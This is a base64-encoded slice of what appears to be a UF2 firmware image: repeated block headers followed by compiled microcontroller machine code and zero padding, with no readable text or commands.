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
